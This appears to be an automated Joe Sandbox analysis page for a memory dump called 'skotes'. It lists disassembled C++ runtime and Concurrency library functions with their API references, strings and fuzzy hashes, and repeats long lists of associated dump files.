Instruction ID: 49b65c066958d84065db1ff515ab2f5409bbccca1005a7448007cdf10b3820ac
Opcode Fuzzy Hash: 1a2fd44755410a079f221c1cc1783cc17c19be0e8f10755cea81704f5e16fbb2
Instruction Fuzzy Hash: D721A8B5B412059BDB08EF64C852BEEB7A5BF48310F104129F505AB283DBB4AE05CB95

Function 00054EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00054F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00054F66

Strings

count, xrefs: 00054EBA
ppVirtualProcessorRoots, xrefs: 00054F1C

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 0346c3fb24b1fc9035178eb12d04b738f1b8bb9c5328ae5cbafc1260daef52d2
Instruction ID: 69b83dc3254410f85ae4675cd7e6969a59703b58382f1c8bc9bb15995224b902
Opcode Fuzzy Hash: 0346c3fb24b1fc9035178eb12d04b738f1b8bb9c5328ae5cbafc1260daef52d2
Instruction Fuzzy Hash: F321F234600205EFCB14EFA8C892EEE77B5BF48315F00406AF9069B692CB71AE46CB55

Function 0005B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0005BA0E

Strings

RoInitialize, xrefs: 0005B998
RoUninitialize, xrefs: 0005B9C1
combase.dll, xrefs: 0005B983, 0005B988, 0005B99D, 0005B9C8

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 5b3c3d3ccac96e314082bcec809e5f3888e629f097cb39808e005867a3835d31
Instruction ID: 755ef990cabda7d51a77f76fa8edb60286054049d133ccea2a131ec2793387ea
Opcode Fuzzy Hash: 5b3c3d3ccac96e314082bcec809e5f3888e629f097cb39808e005867a3835d31
Instruction Fuzzy Hash: CD01B9705813155DEB11B7B69C05FFF35DCAF01309F201429AA81E7182EF29E80687A5

Function 00056E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00056E73

Part of subcall function 00054E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00054E7F
Part of subcall function 00054E6E: List.LIBCMT ref: 00054E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00056E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00056EAA

Strings

eventObject, xrefs: 00056E7D

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 0a97f5bd29cc9d5d70ea4710de13670061f75ef7f72ca4e198fae8889829094a
Instruction ID: 5e054051a0e6333d4eb5fd7bde0f9a6186b5902ec034db6b2c38c12c5081d6a3
Opcode Fuzzy Hash: 0a97f5bd29cc9d5d70ea4710de13670061f75ef7f72ca4e198fae8889829094a
Instruction Fuzzy Hash: 5111E175541204EADB24FBA4CC47FEF73A8AF00305F608529B949AB0C2DF70AA08C7A5

Function 0005A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0005A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0005A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0005A139

Strings

pScheduler, xrefs: 0005A131

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: c8e9ee489126f39ab5ca8fb491c40a1fe6524e3d6b4d82c6e5464a810747291d
Instruction ID: bbc3aa66320409b50040cb01c68ca81f0e31b733939aa268dc6090de2680f3f3
Opcode Fuzzy Hash: c8e9ee489126f39ab5ca8fb491c40a1fe6524e3d6b4d82c6e5464a810747291d
Instruction Fuzzy Hash: FDF0E935A00A04A7CB64FA54DC43CDFB3B9AF91716B108629EE0557182DF70AA0EC79A

Function 0006CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0006CC66

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
